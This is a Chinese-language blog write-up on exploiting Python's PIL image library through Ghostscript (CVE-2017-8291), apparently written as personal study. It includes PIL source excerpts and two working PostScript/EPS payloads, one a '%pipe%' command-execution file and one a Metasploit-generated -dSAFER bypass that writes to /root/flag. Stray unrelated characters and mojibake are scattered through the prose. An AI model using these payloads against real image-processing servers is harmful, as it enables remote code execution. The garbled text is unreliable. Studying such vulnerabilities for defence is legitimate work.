前言
基本是跟著nearg1e大神的文章走的骂际,自己比較菜尖殃,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt
環(huán)境
Ubuntu16.04,PIL1.1.7劲绪,ghostscript-9.19(version <= 9.21)
分析
首先是一個(gè)簡(jiǎn)單的Demo
from PIL import Image
def get_img_size(filepath=""):
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0,0)
這個(gè)非常簡(jiǎn)單,就是獲取圖片size的Demo,這里調(diào)用了PIL里Image的Image.open和Image.load函數(shù)洪燥,加載圖片
進(jìn)下源碼,看open函數(shù)里乳乌,由于這里我已經(jīng)了解這個(gè)漏洞大概了捧韵,我直接看open函數(shù)對(duì)格式的判斷吧
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
return factory(fp, filename)
except (SyntaxError, IndexError, TypeError):
pass
看到accept(prefix),這個(gè)prefix是前綴,文件頭汉操,也就是說(shuō)這里應(yīng)用了文件頭再来,我們?cè)俑逻@個(gè)accept
#EpsImagePlugin
def _accept(prefix):
return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
return prefix[:4] == "\0\0\2\0"
這樣的還有很多晓殊,也就是說(shuō)筛武,我們使用的后綴不要緊桨吊,重要的是文件頭表示這是什么文件孟岛,我們?cè)囈幌拢?br> 首先找一張普通圖吧,這張圖片是png格式梭伐,我改成jpg痹雅,然后用腳本走下。
from PIL import Image
def show(filename):
i=Image.open(filename)
print i.format
show("./123.jpg")
那么我改改文件頭呢糊识?
是可以的绩社,做到讓PIL懵逼
我跟著nearg1e大神的思路走了下就是閱讀EpsImagePlugin
的源碼
load之后,我們走向EpsImagePlugin
command = ["gs",
"-q", # quite mode
"-g%dx%d" % size, # set output geometry (pixels)
"-dNOPAUSE -dSAFER", # don't pause between pages, safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % file,# output file
"- >/dev/null 2>/dev/null"]
命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null
try:
gs = os.popen(command, "w")
# adjust for image origin
if bbox[0] != 0 or bbox[1] != 0:
gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
fp.seek(offset)
while length > 0:
s = fp.read(8192)
if not s:
break
length = length - len(s)
gs.write(s)
status = gs.close()
if status:
raise IOError("gs failed (status %d)" % status)
im = Image.core.open_ppm(file)
finally:
try: os.unlink(file)
except: pass
這里就是dSAFER參數(shù)赂苗,這個(gè)參數(shù)限制了我們對(duì)文件刪除愉耙、重命名以及命令執(zhí)行的行為,但是牛逼的 GhostButt CVE-2017-8291
剛好就是 dSAFER 參數(shù)的 bypass拌滋。但是朴沿,這個(gè)漏洞,我一個(gè)web狗表示很糾結(jié)败砂,于是赌渣,我先進(jìn)行下不帶dSAFER的嘗試
不帶dSAFER的嘗試
我們直接把源碼里的dSAFER注釋掉,然后就可以了
不帶dSAFER的使用昌犹,發(fā)現(xiàn)一切比較舒暢坚芜,我們直接利用gs的pipe通道就可以直接命令執(zhí)行
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit
我們使用這個(gè)包裝過(guò)的poc,我們可以改為png后綴斜姥,進(jìn)行image.load操作鸿竖,發(fā)現(xiàn)沒(méi)毛病。之后就直接進(jìn)行cve吧
GhostButt CVE-2017-8291
這讓我一個(gè)web狗很糾結(jié)啊铸敏,表示二進(jìn)制很渣啊缚忧。
所以,我就直接用msf吧杈笔,生成了如下poc
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf
但是很糾結(jié)的是不行啊闪水。
于是我又在9.21版本試了一次,結(jié)果發(fā)現(xiàn)蒙具,可以了敦第。
也就是說(shuō)這個(gè)cve只適用于9.21版本的,所以兄弟們注意了店量。
后記
由于自己不是pwn大神,所以這個(gè)cve就先放一下吧鞠呈,以后功力漲了再說(shuō)融师,先把web端搞好。